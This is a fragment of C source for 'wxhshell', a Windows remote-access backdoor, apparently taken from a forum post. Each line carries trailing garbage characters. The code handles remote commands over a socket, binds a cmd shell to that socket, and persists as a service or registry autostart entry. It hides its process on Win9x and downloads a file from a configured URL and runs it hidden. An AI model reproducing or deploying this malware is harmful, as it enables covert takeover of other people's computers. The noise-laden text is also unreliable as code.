  // 帮助 u Jqv@GFv  
  case '?': { &EqLF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZA+dtEE=f9  
    break; uG^CyM>R`  
  } ^#d\HI  
  // 安装 AY{KxCr b^  
  case 'i': { *mzi ?3  
    if(Install()) <a]i"s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TY)QE  
    else i}VF$XN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SK lvZ  
    break; _8a;5hS  
    } qS#G7~ur>y  
  // 卸载 c`soVqT$?  
  case 'r': { '|DW#l\n  
    if(Uninstall()) -T,?'J0 2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lFGuQLuqA{  
    else r|EN5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4p,:}h  
    break; 8@;]@c)m  
    } cc|W1,q  
  // 显示 wxhshell 所在路径 m,lZy#02s3  
  case 'p': { eAfi!!Z<  
    char svExeFile[MAX_PATH]; D`T;j[SsS#  
    strcpy(svExeFile,"\n\r");  !BsQJ_H  
      strcat(svExeFile,ExeFile); ~Jk& !IE2  
        send(wsh,svExeFile,strlen(svExeFile),0); ,B[j{sE  
    break; tw_o?9  
    } moM? aYm  
  // 重启 g}s$s}  
  case 'b': { Y~AjcqS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )O]6dd  
    if(Boot(REBOOT)) '{"Rjv7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C`hdj/!A  
    else { eR$@Q  
    closesocket(wsh); :j]1wp+  
    ExitThread(0); _#u\ar)  
    } f' ?/P~[  
    break; Q#\Nhc  
    } d5$D[,`1  
  // 关机 'OsZD?W{  
  case 'd': { 8M99cx*K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fOV_ >]u  
    if(Boot(SHUTDOWN)) lI<jYd 0fZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GGp.u@\r  
    else { uzBQK  
    closesocket(wsh); sp,-JZD  
    ExitThread(0); oX|T&"&  
    } e9o\qEm   
    break; xqt?z n  
    } M7TLQqaF  
  // 获取shell 2!{D~Gfl=  
  case 's': { fB8, )&  
    CmdShell(wsh); #7]Jz.S  
    closesocket(wsh); ,U~A=bsa  
    ExitThread(0); h3o'T=`Sm  
    break; suY47DCX)  
  } zMsup4cl  
  // 退出  T Rv  
  case 'x': { =SJ#6uFS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !Y ,7%  
    CloseIt(wsh); l =E86"m  
    break; geme_  
    } eFG/!b<17  
  // 离开 3`bQ0-D;  
  case 'q': { ;P91'B~t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {7o3wxsS  
    closesocket(wsh); 6KMO*v  
    WSACleanup(); ,<v0(  
    exit(1); qX ,q*hr-  
    break; 3vY-;&  
        } ek][^^4o  
  } "`>6M&`U  
  } 0P$1=oK  
8A#,*@V[  
  // 提示信息 ~CNB3r5R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @G4Z  
} ], lLD UZ\  
  } C%z)D1-  
Tqt-zX|>  
  return; "w:h  
} !"N,w9MbD  
/6 ')B !&  
// shell模块句柄 yaR>?[h  
int CmdShell(SOCKET sock) @IL04' \  
{ wlXs/\es  
STARTUPINFO si; T#ls2UL*xh  
ZeroMemory(&si,sizeof(si)); X q?>a+B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B!wN%> U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8,U~ p<Gz  
PROCESS_INFORMATION ProcessInfo; !D=!  
char cmdline[]="cmd"; 8 0tA5AP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sY;h~a0n  
  return 0; Uu_qy(4  
} vNSUrf,r  
c,a8#Og  
// 自身启动模式 o(hUC$vW  
int StartFromService(void) JP>EW&M  
{ GHsDZ(d3.  
typedef struct s<!A< +Sh  
{ JWNN5#=fQ  
  DWORD ExitStatus; W Z'<iI  
  DWORD PebBaseAddress; >V"{]v  
  DWORD AffinityMask; C~&E7w  
  DWORD BasePriority; Gdow[x  
  ULONG UniqueProcessId; ),x0G*oebj  
  ULONG InheritedFromUniqueProcessId; }b456J  
}   PROCESS_BASIC_INFORMATION; %3`*)cp@  
t/[2{'R4  
PROCNTQSIP NtQueryInformationProcess; k8s)PN  
Cog}a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o<nM-"yWb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {8m&Z36E  
Qw0k-t0=4  
  HANDLE             hProcess; Cff6EE  
  PROCESS_BASIC_INFORMATION pbi; j,OA>{-$  
d]E=w6 +;Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  .\oz  
  if(NULL == hInst ) return 0; Ic'D# m  
G#%Sokkb'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); & DP"RWT/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Oe Q[-e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /nO_ e  
Vh0cac|X  
  if (!NtQueryInformationProcess) return 0; -5*OSA:8x  
_ s 3aaOL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O~5t[  
  if(!hProcess) return 0; D"4*l5l  
b$@I(.X:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "09v6Tx  
|b\a)1Po:  
  CloseHandle(hProcess); z};|.N}  
ja9u?UbW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]!TE  
if(hProcess==NULL) return 0; bPTtA;u  
dk7x<$h-h0  
HMODULE hMod; /`m* PgJ  
char procName[255]; ;Rv WF )  
unsigned long cbNeeded; o(tJc}Mh+(  
@fA{;@N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CbZ;gjgY*  
vAM1|,U  
  CloseHandle(hProcess); lf-.c$.>  
6.]~7n  
if(strstr(procName,"services")) return 1; // 以服务启动 H'i\N?VL  
9wx]xg4l"  
  return 0; // 注册表启动 AJ\gDjj<  
} Y2VfJ}%Q  
Tf#Op v)  
// 主模块 ./I?|ih  
int StartWxhshell(LPSTR lpCmdLine) u0W6u} 4;  
{ eBa#Z1Z  
  SOCKET wsl; ]WNY"B>+  
BOOL val=TRUE; jG ouwta  
  int port=0; Jj)J5 S /  
  struct sockaddr_in door; b}(c'W*z%  
;gL{*gR]S  
  if(wscfg.ws_autoins) Install(); mX>N1zAz  
fgqCX:SWz  
port=atoi(lpCmdLine); }k.yLcXM  
6"_pCkn;c<  
if(port<=0) port=wscfg.ws_port; *C55DO^w  
mx)!]B"  
  WSADATA data; (c0L@ 8L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ASdW!4.p  
=R:O`qdC4e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %f CkR`:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8Y-*rpLy  
  door.sin_family = AF_INET; +tk`$g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z,p@toj'  
  door.sin_port = htons(port); d%I7OBBx@  
o~'p&f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^Zvb3RJg  
closesocket(wsl); a=W%x{  
return 1; '`;=d<'  
} Z'A 3\f   
qMEd R;o  
  if(listen(wsl,2) == INVALID_SOCKET) { 0to`=;JI  
closesocket(wsl); nP[Z6h  
return 1; KC"S0 6  
} ]Sj;\Iz  
  Wxhshell(wsl); NU_^*@k  
  WSACleanup(); Zb_A(mnzh  
2c]751  
return 0; RL&0?OT  
J<L\IP?%  
} Y*#xo7#B  
P84YriLo  
// 以NT服务方式启动 vJs6nVbK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'Ev[G6vo  
{ +\["HS7+'0  
DWORD   status = 0; `}`Qqv  
  DWORD   specificError = 0xfffffff; PK|qiu-O&*  
bLS10^g5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q0q-Coh>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?Sh"%x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A3.I|/  
  serviceStatus.dwWin32ExitCode     = 0; aoz+Th3  
  serviceStatus.dwServiceSpecificExitCode = 0; _<]0hC  
  serviceStatus.dwCheckPoint       = 0; HPu+ 4xQV  
  serviceStatus.dwWaitHint       = 0; &~;M16XM,e  
+-b'+mF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Wtaz@ +  
  if (hServiceStatusHandle==0) return; &3IkC(yD  
;1yF[<a  
status = GetLastError(); rMVcoO@3  
  if (status!=NO_ERROR) ^O<v'\!z-  
{ ;ZuHv {=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9BP'[SM%),  
    serviceStatus.dwCheckPoint       = 0; QDj%m%Xd  
    serviceStatus.dwWaitHint       = 0; f"gYXaVF+  
    serviceStatus.dwWin32ExitCode     = status; 5s\;7>  
    serviceStatus.dwServiceSpecificExitCode = specificError; X2I_,k'fQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q7e4MKy7  
    return; <B T18u\  
  } E,\)tZ;,  
>o13?-S%e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s)E8}-v  
  serviceStatus.dwCheckPoint       = 0; gFuK/]gzI  
  serviceStatus.dwWaitHint       = 0; q_ ^yma  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >`3F`@1L0  
} F#yn'j8  
G:1QXwq\j  
// 处理NT服务事件,比如:启动、停止 dh%O {t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3]'ab-,Vp  
{ "5dke^yk0  
switch(fdwControl) T~$Eh6 D  
{ [;aM8N  
case SERVICE_CONTROL_STOP: Z3MhHvvgp{  
  serviceStatus.dwWin32ExitCode = 0; $DfK}CT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wQhuU  
  serviceStatus.dwCheckPoint   = 0; '/XP4B\(E  
  serviceStatus.dwWaitHint     = 0; CAviP61T  
  { 0\"#Xa+}8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |AE{rvP{@  
  } (!8b$) k  
  return; z&n2JpLY7  
case SERVICE_CONTROL_PAUSE: z &P1C,n)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2o9B >f&g  
  break; Z'9|  
case SERVICE_CONTROL_CONTINUE: #%ld~dgz-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s* u1n+Zq  
  break; !oXFDC3k  
case SERVICE_CONTROL_INTERROGATE: # "c'eG0  
  break; j 7:r8? G  
}; [ *It' J^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Eo ^m; p5  
} l=" X|t   
'MX|=K!C  
// 标准应用程序主函数 n6,YA2yZO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S'$m3,l(k  
{ ?(R#  
zd8A8]&-  
// 获取操作系统版本 3O4lG e#u  
OsIsNt=GetOsVer(); P 0+@,kM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kl~/tbf  
l=T;hk  
  // 从命令行安装 4yqYs>  
  if(strpbrk(lpCmdLine,"iI")) Install(); @8`I!fZ  
+J{ErsG?6P  
  // 下载执行文件 V.$tq  
if(wscfg.ws_downexe) { Kv1~,j6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2`;XcY4A  
  WinExec(wscfg.ws_filenam,SW_HIDE); /d6Rd l`w  
} aqk$4IG  
a%HNz_ro  
if(!OsIsNt) { #6#n4`%ER  
// 如果时win9x,隐藏进程并且设置为注册表启动 k kD#Bb  
HideProc(); 1 Vc_jYO@  
StartWxhshell(lpCmdLine); bWb/>hI8 Q  
} kq(><T  
else "8ZV%%elp  
  if(StartFromService()) GK,{$SC+=  
  // 以服务方式启动 ami>Pp  
  StartServiceCtrlDispatcher(DispatchTable); 9?hF<}1XH}  
else kR^">s/H#  
  // 普通方式启动 `EMGrw_  
  StartWxhshell(lpCmdLine); W\Scak>  
;aD~1;q  
return 0; ]<YS7.pT  
}
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只看该作者 1 发表于: 2006-10-10
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